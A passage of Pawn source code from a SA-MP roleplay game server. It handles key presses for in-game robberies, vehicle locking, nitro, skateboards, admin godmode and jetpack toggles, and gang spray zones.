	   LoopingAnim(playerid,"BSKTBALL","BBALL_Jump_Shot",4.0,0,0,0,0,0);
	   //ShootingBall = 5;
	   HavingBall[playerid] = 0;
	   return 1;
}

forward ClearAnim(playerid);
public ClearAnim(playerid)
{
	   ClearAnimations(playerid);
	   return 1;
}

/*GetXYInFrontOfPlayer(playerid, &Float:x, &Float:y, Float:distance)
{
	   new Float:a;
	   GetPlayerPos(playerid, x, y, a);
	   GetPlayerFacingAngle(playerid, a);
	   if (GetPlayerVehicleID(playerid))
	   {
		  GetVehicleZAngle(GetPlayerVehicleID(playerid), a);
	   }
	   x += (distance * floatsin(-a, degrees));
	   y += (distance * floatcos(-a, degrees));
}*/
forward Shekastd(spr);
public Shekastd(spr) {
for(new i = 0;i<Akharish;i++) {
if(OnSpray[i] == 1 && Spray[i] == spr) {
DarsadPlayer[i] = 0;
DarsadSpray[PINFO[i][pClan]][spr] = 0;
GameTextForPlayer(i, "~R~Unsuccessful !", 5000, 1);
PlayerTextDrawHide(i, shacklog2[i]);
OnSpray[i] = 0;
Spray[i] = 9999;
}
}
Spraying[spr] = 0;
GangZoneStopFlashForAll(Sprayst[spr]);
}
forward AllowS(playerid);
public AllowS(playerid) {
if(IsPlayerConnected(playerid))
	{
		new
			keys, ud, lr;

		GetPlayerKeys(playerid, keys, ud, lr);
		new s = Spray[playerid];
//		new Float: fDistance = GetPlayerDistanceFromPoint(playerid, spInfo[s][sX],spInfo[s][sY],spInfo[s][sZ]);
		AmmoS[playerid] = GetPlayerAmmo(playerid);
		if((keys & KEY_FIRE) && PlayerToPoint(2.0, playerid, spInfo[s][sX],spInfo[s][sY],spInfo[s][sZ]) && GetPlayerWeapon(playerid) == 41 && !IsPlayerInAnyVehicle(playerid) && OnSpray[playerid] == 1 && AmmoSG[playerid] != AmmoS[playerid])
		{
			DarsadSpray[PINFO[playerid][pClan]][Spray[playerid]] += 1;
			DarsadPlayer[playerid] += 1;
			SetTimerEx("AllowS", 500, 0, "d", playerid);
			KillTimer(Shekast);
			Shekast = SetTimerEx("Shekastd", 20000, 0, "d", Spray[playerid]);
			AmmoSG[playerid] = GetPlayerAmmo(playerid);
			return 0;
		}
	}

	HoldingKey[playerid] = false;

	return 0;
}

/*
public OnIncomingConnection(playerid, ip_address[], port)// SiNaGaMeR
{
  for(new i=0; i<MAX_PLAYERS; i++)
  {
  */
  /*
	if(!strcmp(ip_address, PINFO[i][pRelogIP], true))
	{
	 if(PINFO[playerid][pRelog] == 1)
	 {
	 new string[30];
	 SetTimerEx("relogtime", 113, 0, "d", i);// 111-112
	 //BlockIpAddress(ip_address, 0);// 111-112
	 format(string, sizeof(string), "banip %s", ip_address);
	 SendRconCommand(string);
	 break;
	  }
	}
	*/
	/*
	if(PINFO[playerid][pRelog] == 1)
	{
	SetTimerEx("relogtime2", 115, 0, "d", i);
	}
  }
  return 1;
}
*/
/*
public OnIncomingConnection(playerid, ip_address[], port)// SiNaGaMeR
{
		if(PINFO[playerid][pRelog] == 1)
		{
				for( new u; u < MAX_PLAYERS; u++ )
				{
				  new xName[128];
				   GetPlayerName(u, xName, sizeof(xName));
				   strcpy(NameB[u],xName,128);
				  strcpy(NameA[u],PINFO[u][pName],128);
				}
				for( new k; k < MAX_PLAYERS; k++ )
				{
				  strcpy(PINFO[k][pName],NameA[k],128);
				  SetPlayerName(k, NameB[k]);
				  SetTimerEx("relogorg", 20, 0, "d", playerid);
				}
		   return 1;
		}
return 1;
}
*/

forward PutPlayerBackInVehicle(playerid);
public  PutPlayerBackInVehicle(playerid)
{


	return 1;
}

stock IsCbugWeapon(playerid)
{
	new weaponID = GetPlayerWeapon(playerid);
	if(weaponID == 22 || weaponID == 24 || weaponID == 25 || weaponID == 27)
	{
			 return 1;
	}
	   return 0;
}

public OnPlayerKeyStateChange(playerid, newkeys, oldkeys)
{
if(FCNPC_IsValid(playerid)) return 1;
//AFKCheckActiveAdad[playerid] = 0;

	AFKTime[playerid] = 0;
	if (HOLDING( 4 ))// if player use nitro
	{
	new BegirVeh = GetPlayerVehicleID(playerid);
	   if(IsPlayerInAnyVehicle(playerid) && GetPlayerState(playerid) == PLAYER_STATE_DRIVER && VehicleTurbo[BegirVeh] == 1)
	   {
		  if(IsValidObject(CarFireObj[playerid]) == 0)// add fire from exhaust when player use nitro
		  {
			 CarFireObj[playerid] = CreateObject(18694, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0);
			 AttachObjectToVehicle(CarFireObj[playerid], GetPlayerVehicleID(playerid), 0.0, -2.3, 1.2, 180.0, 0.0, 0.0);
		  }
	   }
	}
	if(PRESSED(KEY_AIM))
	{

	   if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) {AnimPlay[playerid] = 0;}
	   if(GetPlayerState(playerid) == PLAYER_STATE_ONFOOT && AnimPlay[playerid] == 1)
	   {
		  StopLoopingAnim(playerid);
		  AnimPlay[playerid] = 0;
	   }
	}
	if(newkeys & KEY_AIM)
    {
     new targetplayer = GetPlayerTargetPlayer(playerid);
     if(FCNPC_IsValid(targetplayer))
     {
      new Vaaa[70];
      new sendradio[144];
	  if(targetplayer == NPCLS)
	  {
		 if(goftls == 0)
		 {
         FCNPC_SetInvulnerable(NPCLS, false);
         format(Vaaa, sizeof(Vaaa), "Billy Shouts: I will kill you %s",PINFO[playerid][pName]);
         ProxDetector(30.0, NPCLS, Vaaa,COLOR_FADE1,COLOR_FADE2,COLOR_FADE3,COLOR_FADE4,COLOR_FADE5);
         goftls = 1;
         FCNPC_ClearAnimations(NPCLS);
         SetPlayerWantedLevel(playerid,GetPlayerWantedLevel(playerid)+2);
         SetPlayerCriminal(playerid,INVALID_PLAYER_ID, "Shop Robbing",2);
         WantedKamKonTimerValid[playerid] = true;
         WantedTimerEZ[playerid] = 900;
         PlayerTextDrawShow(playerid, WantedTTD[playerid]);
         format(sendradio, sizeof(sendradio), "[Dep-Warn]: {0069FF}%s has attacked Fanny Batter's Brothel LS's cashier.", PlayerInfo[playerid][pName]);
         SendFamilyMessage(1, COLOR_BLUE, sendradio);
         SendFamilyMessage(2, COLOR_BLUE, sendradio);
         SendFamilyMessage(3, COLOR_BLUE, sendradio);
         FCNPC_SetWeapon(NPCLS, 31);
         FCNPC_SetAmmo(NPCLS, 10000);
         FCNPC_AimAtPlayer(NPCLS, playerid, true, -1, true);
         RTimer[playerid] = SetTimerEx("RTimerZ", 10000, false, "ii", playerid, 1);
         SCM(playerid, COLOR_SINAGHERMEZ, "You have 10 seconds to kill him.");
         }
	  }
	  if(targetplayer == NPCLV)
	  {
		 if(goftlv == 0)
		 {
		 FCNPC_SetInvulnerable(NPCLV, false);
         format(Vaaa, sizeof(Vaaa), "Chester Shouts: Je te tuerai %s!",PINFO[playerid][pName]);
         ProxDetector(30.0, NPCLV, Vaaa,COLOR_FADE1,COLOR_FADE2,COLOR_FADE3,COLOR_FADE4,COLOR_FADE5);
         goftlv = 1;
         FCNPC_ClearAnimations(NPCLV);
         SetPlayerWantedLevel(playerid,GetPlayerWantedLevel(playerid)+2);
         SetPlayerCriminal(playerid,INVALID_PLAYER_ID, "Shop Robbing",2);
         WantedKamKonTimerValid[playerid] = true;
         WantedTimerEZ[playerid] = 900;
         PlayerTextDrawShow(playerid, WantedTTD[playerid]);
         format(sendradio, sizeof(sendradio), "[Dep-Warn]: {0069FF}%s has attacked Fanny Batter's Brothel LV's cashier.", PlayerInfo[playerid][pName]);
         SendFamilyMessage(1, COLOR_BLUE, sendradio);
         SendFamilyMessage(2, COLOR_BLUE, sendradio);
         SendFamilyMessage(3, COLOR_BLUE, sendradio);
         FCNPC_SetWeapon(NPCLV, 27);
         FCNPC_SetAmmo(NPCLV, 10000);
         FCNPC_AimAtPlayer(NPCLV, playerid, true, -1, true);
         RTimer[playerid] = SetTimerEx("RTimerZ", 10000, false, "ii", playerid, 2);
         SCM(playerid, COLOR_SINAGHERMEZ, "You have 10 seconds to kill him.");
         }
	  }
	  if(targetplayer == NPCSF)
	  {
		 if(goftsf == 0)
		 {
		 FCNPC_SetInvulnerable(NPCSF, false);
         format(Vaaa, sizeof(Vaaa), "Claudia Says: Please don't hurt me.",PINFO[playerid][pName]);
         ProxDetector(20.0, NPCSF, Vaaa,COLOR_FADE1,COLOR_FADE2,COLOR_FADE3,COLOR_FADE4,COLOR_FADE5);
         goftsf = 1;
         FCNPC_SetAnimation(NPCSF,1068,4.0,1,0,0,0,1);
         RTimer[playerid] = SetTimerEx("RTimerZ", 10000, false, "ii", playerid, 3);
         SCM(playerid, COLOR_SINAGHERMEZ, "You have 10 seconds to kill her.");
         }
	  }
     }
     return 0;
    }
       if(newkeys & KEY_JUMP)
       {
	   if(!IsPlayerInAnyVehicle(playerid)&&SuperMan[playerid]&&ImInJump[playerid]==0)
	   {
       new Float:xYz[3];
       GetPlayerVelocity(playerid, xYz[0], xYz[1], xYz[2]);
       SetPlayerVelocity(playerid, xYz[0], xYz[1], xYz[2]+5);
	   ImInJump[playerid]=1;
	   SetTimerEx("LetMeJumpAgain", 2000, 0, "i", playerid);
	   }
	   }
	   
	   	if (IsPlayerInAnyVehicle(playerid) && GetPlayerState(playerid) == PLAYER_STATE_DRIVER)
	   {
	   new veh = GetPlayerVehicleID(playerid);
	   if((newkeys & KEY_FIRE) && VehicleTurbo[veh] == 1)
	   {
	   new Float:vx,Float:vy,Float:vz;
	   GetVehicleVelocity(veh,vx,vy,vz);
	   SetVehicleVelocity(veh, vx * 1.2, vy *1.2, vz * 1.2);
	   }
	   }




        if (IsPlayerInAnyVehicle(playerid) && GetPlayerState(playerid) == PLAYER_STATE_DRIVER)
        {
          if (newkeys & KEY_CROUCH)
          {
          new veh = GetPlayerVehicleID(playerid);
            if(vJump[veh] == 1)
            {
                new Float:x, Float:y, Float:z;
                GetVehicleVelocity(veh,x,y,z);
                SetVehicleVelocity(veh,x,y,z+0.2);
            }
          }
        }



	if(newkeys & KEY_FIRE)
	{
	if(SafeOn==1&&OnDuty[playerid]==0&&SafeZoneCheck[playerid]==1&&OnWar[playerid]==9999&&!IsPlayerInAnyVehicle(playerid)&&!IsPlayerFreeze(playerid))
	{
	if(GetPlayerWeapon(playerid)==0)
	{
	new taraf = GetNearestPlayer(playerid);
	if(taraf!=INVALID_PLAYER_ID)
	{
    if(ProxDetectorS(1,taraf,playerid))
    {
    if(GetPlayerWantedLevel(taraf)==0)
    {
	TogglePlayerControllable(playerid, 0);
	SendMessage(playerid, COLOR_LIGHTRED, "You have been automatically frozen for 3 seconds because you hit players in Safezone.");
	SetTimerEx("SafeFreeze",3000,0,"i",playerid);
	}
    if(GetPlayerWantedLevel(taraf)>=1&&!IsACop(playerid))
    {
	TogglePlayerControllable(playerid, 0);
	SendMessage(playerid, COLOR_LIGHTRED, "You have been automatically frozen for 3 seconds because you hit players in Safezone.");
	SetTimerEx("SafeFreeze",3000,0,"i",playerid);
	}
    if(GetPlayerWantedLevel(taraf)>=1&&IsACop(playerid)){}
    }
    }
	}
	}
	}
	if(newkeys & KEY_FIRE)
	{
	new formater[300];
	if(GetPlayerWeapon(playerid)==46)
	{
	new CAAR = GetNearestVehicle(playerid, 3.0);
	if((CAAR != INVALID_VEHICLE_ID) && (ATWarns[playerid]<MAX_ATWARNS))
	{
	format(formater, sizeof(formater), "Don't attack vehicles when you are holding a parachute. %d/%d",ATWarns[playerid],MAX_ATWARNS);
	SCM(playerid, COLOR_LIGHTRED, formater);
	ATWarns[playerid]++;
	if((ATWarns[playerid]>=MAX_ATWARNS) && (PINFO[playerid][pAdmin]<10))
	{
	format(formater, sizeof(formater), "[Admin-Warn]: {FFFFFF}Player %s attacked vehicles when %s were holding a parachute. (Kicked with max warnings)",RPName(playerid),(PINFO[playerid][pSex]==1)?("he"):("she"));
	ABroadCast(COLOR_AdminWarn,formater,1);
	format(formater, sizeof(formater), "You have been kicked due to attacking vehicles when you were holding a parachute with max warnings.",ATWarns[playerid],MAX_ATWARNS);
	KickWithMessage(playerid, COL_SYN, formater);
	}
	}
	}
	if(Drinking[playerid]!=0)
	{
	if(DrinkAbout[playerid]==10)
	{
	SetPlayerSpecialAction(playerid,SPECIAL_ACTION_NONE);
	DrinkAbout[playerid]=0;
	Drinking[playerid]=0;
	}
	DrinkAbout[playerid]++;
	new Float:AlanHealth;
    GetPlayerHealth(playerid, AlanHealth);
    if(AlanHealth < 200)
    {
    SetPlayerKoon(true, playerid, AlanHealth+10);
    }
	}
	return 0;
	}
	   
	   
	if (RELEASED( 4 ))// if player stop use nitro
	{
	   if(IsPlayerInAnyVehicle(playerid) && GetPlayerState(playerid) == PLAYER_STATE_DRIVER)
	   {
		  if(IsValidObject(CarFireObj[playerid]) == 1)DestroyObject(CarFireObj[playerid]);// remove fire from exhaust when player stop use nitro
	   }
	}
	// Start Of JetPacks With Key

	// Dokme 4 Bezane Jetpack Begire/Bardare by Sina :|
	if( newkeys & KEY_ANALOG_LEFT )
	{
	if(PINFO[playerid][pAdmin] >= 1 && AutoJet[playerid] == 1 || PlayerInfo[playerid][pSponser] == 1)
	{
	if(!IsPlayerInAnyVehicle(playerid))
	{
	SCM(playerid, COLOR_YELLOW2, "You can disable jetpack with key, by {FF0000}/AutoJetPack{F9F7CE}.");
	JMikhad[playerid] = 1;
	OnPlayerCommandText(playerid, "/rngrjpackjmeav");
	}
	}
	return 0;
	}

	// End Of JetPacks With Key

	// Dokme 6 Bezane GodMode Begire/Bardare by Sina :|
	if( newkeys & KEY_ANALOG_RIGHT )
	{
	if(PINFO[playerid][pAdmin] >= 7 && AutoGM[playerid] == 1 || PlayerInfo[playerid][pSponser] == 1)
	{
	SCM(playerid, COLOR_YELLOW2, "You can disable godmode with key, by {FF0000}/AutoGM{F9F7CE}.");
	OnPlayerCommandText(playerid, "/gm");
	}
	return 0;
	}

// End Of GodMode Key
	if(InfoSkate[playerid][sActive] && GetPlayerState(playerid) == PLAYER_STATE_ONFOOT){
			 static bool:act;
			 SetPlayerArmedWeapon(playerid,0);
			 if(newkeys & KEY_HANDBRAKE){
					#if MODE_SKATE == 0
					// medium speed
					LoopingAnim(playerid, "SKATE","skate_run",4.1,1,1,1,1,1);
					#else
					// fast speed
					LoopingAnim(playerid, "SKATE","skate_sprint",4.1,1,1,1,1,1);
					#endif
					if(!act){
						  act = true;
						  RemovePlayerAttachedObject(playerid,INDEX_SKATE);
						  DestroyObject(InfoSkate[playerid][sSkate]);
						  InfoSkate[playerid][sSkate] = CreateObject(19878,0,0,0,0,0,0);
						  AttachObjectToPlayer(InfoSkate[playerid][sSkate],playerid, -0.2,0,-0.9,0,0,90);
					}
			 }
			 if(oldkeys & KEY_HANDBRAKE){
					LoopingAnim(playerid, "CARRY","crry_prtial",4.0,0,0,0,0,0);
					if(act){
						  act = false;
						  DestroyObject(InfoSkate[playerid][sSkate]);
						  RemovePlayerAttachedObject(playerid,INDEX_SKATE);
						  #if TYPE_SKATE == 0
						  // the skate is placed on the right arm
						  SetPlayerAttachedObject(playerid,INDEX_SKATE,19878,6,-0.055999,0.013000,0.000000,-84.099983,0.000000,-106.099998,1.000000,1.000000,1.000000);
						  #else
						  // the skate is placed in the back
						  SetPlayerAttachedObject(playerid,INDEX_SKATE,19878,1,0.055999,-0.173999,-0.007000,-95.999893,-1.600010,24.099992,1.000000,1.000000,1.000000);
						  #endif
					}
			 }
	   }

	if(PRESSED(KEY_SECONDARY_ATTACK))
	{
	   if(OnRentMashinMessage[playerid] == true)
	   {
		  GameTextForPlayer(playerid, " ", 500, 3);
		  TogglePlayerControllable(playerid, 1);
		  RemovePlayerFromVehicle(playerid);
		  OnRentMashinMessage[playerid] = false;
	   }
	}
	if (newkeys & KEY_SECONDARY_ATTACK)
	{
	if(NowCanPickupMoney == 1 && IsServerRob == 1)
	{
	if(playerid == sGunner1 || playerid == sGunner2)
	{
	if(ImPickingUp[playerid] != 1)
	{
	if(PTP(1.0,playerid, 1429.859252, 1334.988891, 1489.703369) || PTP(1.0,playerid, 1429.849609, 1336.596801, 1489.703369)
	|| PTP(1.0,playerid, 1429.861938, 1338.792724, 1489.703369) || PTP(1.0,playerid, 1429.816528, 1340.341918, 1489.703369))
	{
	if(PTP(1.0,playerid, 1429.859252, 1334.988891, 1489.703369) && PoolToo1!=1){PoolToo1=1;
	SetPlayerFacingAngle(playerid, -90.00000);
	LoopingAnim(playerid, "ROB_BANK","CAT_Safe_Rob",4.0,1,0,0,0,0);
	ImPickingUp[playerid] = 1;
	NOPMin[playerid] = SetTimerEx("NOPMinX", 5000, false, "i", playerid);}
	if(PTP(1.0,playerid, 1429.849609, 1336.596801, 1489.703369) && PoolToo2!=1){PoolToo2=1;
	SetPlayerFacingAngle(playerid, -90.00000);
	LoopingAnim(playerid, "ROB_BANK","CAT_Safe_Rob",4.0,1,0,0,0,0);
	ImPickingUp[playerid] = 1;
	NOPMin[playerid] = SetTimerEx("NOPMinX", 5000, false, "i", playerid);}
	if(PTP(1.0,playerid, 1429.861938, 1338.792724, 1489.703369) && PoolToo3!=1){PoolToo3=1;
	SetPlayerFacingAngle(playerid, -90.00000);
	LoopingAnim(playerid, "ROB_BANK","CAT_Safe_Rob",4.0,1,0,0,0,0);
	ImPickingUp[playerid] = 1;
	NOPMin[playerid] = SetTimerEx("NOPMinX", 5000, false, "i", playerid);}
	if(PTP(1.0,playerid, 1429.816528, 1340.341918, 1489.703369) && PoolToo4!=1){PoolToo4=1;
	SetPlayerFacingAngle(playerid, -90.00000);
	LoopingAnim(playerid, "ROB_BANK","CAT_Safe_Rob",4.0,1,0,0,0,0);
	ImPickingUp[playerid] = 1;
	NOPMin[playerid] = SetTimerEx("NOPMinX", 5000, false, "i", playerid);}
	}
	}
	}
	}
		if(InModShop[playerid] == 1)
		{
			if (newkeys & KEY_SECONDARY_ATTACK) return 0;
			TogglePlayerControllable(playerid, 0);
		}
	OnPlayerCommandText(playerid, "/exit");
	OnPlayerCommandText(playerid, "/enter");
	if(Drinking[playerid]!=0)
	{
	SetPlayerSpecialAction(playerid,SPECIAL_ACTION_NONE);
	Drinking[playerid]=0;
	DrinkAbout[playerid]=0;
	}
		if(IsPlayerInAnyVehicle(playerid)) {
		new vid = GetPlayerVehicleID(playerid);
		if(IsARC(vid) && GetPlayerState(playerid) == PLAYER_STATE_DRIVER) {
		if(CallLocalFunction("OnPlayerExitVehicle", "ii", playerid, vid))
		{
					new Float:x,Float:y,Float:z;
					GetPlayerPos(playerid, x, y, z);
					SetPlayerPos(playerid, x, y, z + 1.0);
			}
		}

		}
		else {
		if(GetPlayerState(playerid) == PLAYER_STATE_ONFOOT) {
		new vid = GetNearestVehicle(playerid, 10.0);
		if(!IsValidVehicle(vid)) return 1;
		if(LockIs[vid][playerid] == 1) return 1;
		if(IsARC(vid)) {
		new Float:rX,Float:rY,Float:rZ;
		GetVehiclePos(vid, rX, rY, rZ);
			new Float:float_speed,
											 int_speed,
											 driver_ = INVALID_PLAYER_ID;

									   //speed calculations
									   GetVehicleVelocity(vid, rX, rY, rZ);
									   float_speed = floatsqroot( (rX * rX) + (rY * rY) + (rZ * rZ) ) * 136.666667;
									   int_speed = floatround(float_speed, floatround_round);//This is the Integer type speed of vehicle

									   for(new driver; driver < MAX_PLAYERS; driver++)
									   {
										  if(GetPlayerVehicleID(driver) == vid && GetPlayerState(driver) == PLAYER_STATE_DRIVER)
											 {
						  driver_ = driver;//If there is a driver of the specified vid vehicle, his/her id will get stored
													continue;
											 }
									   }

									   if(CallLocalFunction("OnPlayerEnterVehicle", "ii", playerid, vid))
								{
											 if(driver_ == INVALID_PLAYER_ID)//There is no driver in the vehicle
											 {
													if(int_speed < 6)//If the vehicle is having a negligable speed
													{
														  PutPlayerInVehicle(playerid, vid, 0);
													}
													else if(int_speed > 5)//If the vehicle is not having negligable speed
													{
														  switch( random(2) )
														  {
															 case 0://Sucess
															 {
																	   PutPlayerInVehicle(playerid, vid, 0);
															 }
															 case 1://Fail(Getup anim)
															 {
																	  // ApplyAnimation(playerid, "PED", "getup", 4.0, 0,0, 0, 0,0);
															 }
														  }
													}
											 }

											 if(driver_ != INVALID_PLAYER_ID || driver_ < MAX_PLAYERS)//There is driver in the vehicle
											 {
													if(int_speed < 6)//If the vehicle is having a negligable speed
													{
													   PutPlayerInVehicle(playerid, vid, 0);

													}
													else if(int_speed > 5)//If the vehicle is not having negligable speed
													{
														  switch( random(2) )
														  {
															 case 0://Sucess
															 {
																	PutPlayerInVehicle(playerid, vid, 0);
															 }
															 case 1://Fail(Getup anim)
															 {
																	   //ApplyAnimation(playerid, "PED", "getup", 4.0, 0,0, 0, 0,0);
															 }
														  }
													}
															}
														}
		}
		}
		}
		return 0;
	}

	if(newkeys & KEY_NO)
	{
		new string[512];
	   new alich = GetNearestVehicle(playerid, 10.0);
	   if(alich == INVALID_VEHICLE_ID)
	   {
		  //SCM(playerid,COLOR_SINA3,"There is no vehicle or You haven't key of this vehicle.");
		  return 1;
	   }
		if(OwnedMashin[alich] == 1) {
		new cc;
		new key;
		new c1 = PlayerInfo[playerid][pCar_1];
		new c2 = PlayerInfo[playerid][pCar_2];
		new c3 = PlayerInfo[playerid][pCar_3];
		new c4 = PlayerInfo[playerid][pCar_4];
		new c5 = PlayerInfo[playerid][pCar_5];
		new c6 = PlayerInfo[playerid][pCar_6];

		if(c1 == alich) {cc = PINFO[playerid][pVeh1];key = IHaveKey[playerid];}
		else if(c2 == alich) {cc = PINFO[playerid][pVeh2];key = IHaveKey_2[playerid];}
		else if(c3 == alich) {cc = PINFO[playerid][pVeh3];key = IHaveKey_3[playerid];}
		else if(c4 == alich) {cc = PINFO[playerid][pVeh4];key = IHaveKey_4[playerid];}
		else if(c5 == alich) {cc = PINFO[playerid][pVeh5];key = IHaveKey_5[playerid];}
		else if(c6 == alich) {cc = PINFO[playerid][pVeh6];key = IHaveKey_6[playerid];}

	   if(vInfo[cc][cLock] == 1 && (cc != 0 || key == alich))
	   {
		  new vehicles = GetVehicleModel(alich) - 400;
		  new ali[256];
		  format(ali,sizeof(ali),"~w~%s ~g~Unlocked",aVehicleNames[vehicles]);
		  for(new i=0; i < Akharish; i++)
		  {
			 SetVehicleParamsForPlayer(alich,i,0,0);
				LockIs[alich][i] = 0;
		  }
		  GameTextForPlayer(playerid, ali, 4000, 3);
		  vInfo[cc][cLock] = 0;
		  SaveKonValV(cc, "cLock", 0);
			PlayerTextDrawSetString(playerid, LockTD[playerid], "Status:~g~ Unlocked");
		  new Float:X,Float:Y,Float:Z;
		  GetPlayerPos(playerid,X,Y,Z);
		  PlayerPlaySound(playerid,1056,X,Y,Z);
		  //SaveAccount(MashinOwner[alich]);
		  return 1;
	   }
		else if(vInfo[cc][cLock] == 0 && (cc != 0 || key == alich))
	   {
		  new vehicles = GetVehicleModel(alich) - 400;
		  new ali[256];
		  format(ali,sizeof(ali),"~w~%s ~r~Locked",aVehicleNames[vehicles]);
		  for(new i=0; i < Akharish; i++)
		  {
			 SetVehicleParamsForPlayer(alich,i,0,1);
				LockIs[alich][i] = 1;
		  }
		  GameTextForPlayer(playerid, ali, 4000, 3);
		  vInfo[cc][cLock] = 1;
		  SaveKonValV(cc, "cLock", 1);
			PlayerTextDrawSetString(playerid, LockTD[playerid], "Status:~r~ Locked");
		  new Float:X,Float:Y,Float:Z;
		  GetPlayerPos(playerid,X,Y,Z);
		  PlayerPlaySound(playerid,1056,X,Y,Z);
		  //SaveAccount(MashinOwner[alich]);
		  return 1;
	   }

	  }
	   else if(MashinRenter[alich] != INVALID_PLAYER_ID && RentedVehicle[playerid] == alich && gCarLock[alich] == 0)
	   {
		  new vehicles = GetVehicleModel(alich) - 400;
		  format(string, sizeof(string), "~w~%s Rent ~r~Locked", aVehicleNames[vehicles]);
		  GameTextForPlayer(playerid, string, 4000, 3);
		  PlayerPlaySound(playerid, 1145, 0.0, 0.0, 0.0);
		  gCarLock[alich] = 1;
		  for(new i=0; i < Akharish; i++)
		  {
			 SetVehicleParamsForPlayer(alich,i,0,1);
		  }
		  new Float:X,Float:Y,Float:Z;
		  GetPlayerPos(playerid,X,Y,Z);
		  PlayerPlaySound(playerid,1056,X,Y,Z);
		  return 1;
	   }
	   else if(MashinRenter[alich] != INVALID_PLAYER_ID && RentedVehicle[playerid] == alich && gCarLock[alich] == 1)
	   {
		  new vehicles = GetVehicleModel(alich) - 400;
		  format(string, sizeof(string), "~w~%s Rent ~g~UnLocked", aVehicleNames[vehicles]);
		  GameTextForPlayer(playerid, string, 4000, 3);
		  PlayerPlaySound(playerid, 1145, 0.0, 0.0, 0.0);
		  gCarLock[alich] = 0;
		  for(new i=0; i < Akharish; i++)
		  {
			 SetVehicleParamsForPlayer(alich,i,0,0);
		  }
		  new Float:X,Float:Y,Float:Z;
		  GetPlayerPos(playerid,X,Y,Z);
		  PlayerPlaySound(playerid,1056,X,Y,Z);
		  return 1;
	   }
	   else
	   {
		  //SCM(playerid,COLOR_SINA3,"There is no vehicle or You haven't key of this vehicle.");
		  return 1;
	   }
	   return 1;
 }
//	new sendername[40];
	if(newkeys & KEY_SUBMISSION)
	{
	if(IsPlayerInAnyVehicle(playerid))
	{
	new sina = GetPlayerVehicleID(playerid);
	if(GetVehicleModel(sina) != 520 && GetVehicleModel(sina) != 519 && GetVehicleModel(sina) != 476 && GetVehicleModel(sina) != 513 && GetVehicleModel(sina) != 553 && GetVehicleModel(sina) != 577 && GetVehicleModel(sina) != 592)// Havapeyma hayi ke vaghti dokmeye 2 ro mizani charkhashoon baste mishe.. by Sina
	{
	OnPlayerCommandText(playerid, "/engine");
	}
	}
	return 0;
	}
	if(newkeys & KEY_YES)
	{
		if(CanYES[playerid]==1||phoneloaded[playerid]!=0){SelectTextDraw(playerid, 0x00FFFFAA);return 1;}
		OnPlayerCommandText(playerid, "/fr");
		return 1;
	}
	if (PRESSED( KEY_CROUCH ))
	{
	   new newcar = GetPlayerVehicleID(playerid);
	   if(PlayerInfo[playerid][pLeader] == 1 || PlayerInfo[playerid][pMember] == 1 || PlayerInfo[playerid][pMember] == 2 || PlayerInfo[playerid][pLeader] == 2 || PlayerInfo[playerid][pLeader] == 3 || PlayerInfo[playerid][pMember] == 3 || PlayerInfo[playerid][pMember] == 20 || PlayerInfo[playerid][pMember] == 20)
	   {
		  if(newcar == 33 && carneon3[newcar] == 0)
		  {
			 AttachDynamicObjectToVehicle(neon3, infer3, 0, 0, 0.7, 0, 0, 0);
			 SCM(playerid,COLOR_BLUE,"Neon enabled.");
			 carneon3[newcar] = 1;
		  }
		  if(newcar == 34 && carneon4[newcar] == 0)
		  {
			 AttachDynamicObjectToVehicle(neon4, infer4, 0, 0, 0.7, 0, 0, 0);
			 SCM(playerid,COLOR_BLUE,"Neon enabled.");
			 carneon4[newcar] = 1;
		  }
		  if(newcar == 35 && carneon5[newcar] == 0)
		  {
			 AttachDynamicObjectToVehicle(neon5, infer5, 0, 0, 0.7, 0, 0, 0);
			 SCM(playerid,COLOR_BLUE,"Neon enabled.");
			 carneon5[newcar] = 1;
		  }
			if(newcar == 681 && carneon6[newcar] == 0)
		  {
			 AttachDynamicObjectToVehicle(neon6, 681, 0, 0, 0.7, 0, 0, 0);
			 SCM(playerid,COLOR_BLUE,"Neon enabled.");
			 carneon6[newcar] = 1;
		  }
			if(newcar == 682 && carneon7[newcar] == 0)
		  {
			 AttachDynamicObjectToVehicle(neon7, 682, 0, 0, 0.7, 0, 0, 0);
			 SCM(playerid,COLOR_BLUE,"Neon enabled.");
			 carneon7[newcar] = 1;
		  }
			if(newcar == 688) {
			if(Siren[newcar] == 0) {
			SirenObject[newcar] = CreateDynamicObject(18646, 10.0, 10.0, 10.0, 0, 0, 0);
		  AttachDynamicObjectToVehicle(SirenObject[newcar], newcar, -0.43, -0.4, 0.605, 0.0, 0.1, 0.0);
			Siren[newcar] = 1;
			}
			else if(Siren[newcar] == 1) {
			DestroyDynamicObject(SirenObject[newcar]);
			Siren[newcar] = 0;
			}
			}
			if(newcar == 689) {
			if(Siren[newcar] == 0) {
			SirenObject[newcar] = CreateDynamicObject(18646, 10.0, 10.0, 10.0, 0, 0, 0);
		  AttachDynamicObjectToVehicle(SirenObject[newcar], newcar, -0.43, -0.4, 0.605, 0.0, 0.1, 0.0);
			Siren[newcar] = 1;
			}
			else if(Siren[newcar] == 1) {
			DestroyDynamicObject(SirenObject[newcar]);
			Siren[newcar] = 0;
			}
			}
		  }
	}


	if (PRESSED( KEY_ACTION ))
	{
		new iSeat = GetPlayerVehicleSeat(playerid);
	   if(iSeat == 0)
	   {
		  new vid = GetPlayerVehicleID(playerid);
		  if(LightsSTATE[vid] == 0)
		  {
			 GetVehicleParamsEx(vid,engine,lights,alarm,doors,bonnet,boot,objective);
			 SetVehicleParamsEx(vid,engine,VEHICLE_PARAMS_ON,alarm,doors,bonnet,boot,objective);
			 LightsSTATE[vid] = 1;
		  }
		  else
		  {
			 GetVehicleParamsEx(vid,engine,lights,alarm,doors,bonnet,boot,objective);
			 SetVehicleParamsEx(vid,engine,VEHICLE_PARAMS_OFF,alarm,doors,bonnet,boot,objective);
			 LightsSTATE[vid] = 0;
		  }
	   }
	}

	if (PRESSED( KEY_CROUCH ))
	{
	   if(IsPlayerInAnyVehicle(playerid))
	   {
			if(PINFO[playerid][pPhousekey] == 0) {
			if(PTP(10,playerid,1273.78821, -824.64264, 108.93504)) {
			if(Erfan5H == 1) return 1;
			Erfan5H = 1;
			MoveDynamicObject(erfan5, 1277.30872, -825.85254, 108.96400, 0.1,  2.88000, -2.27999, -17.58000);
			SetTimer("Erfan5T", 5000,false);
			return 1;
			}
			}
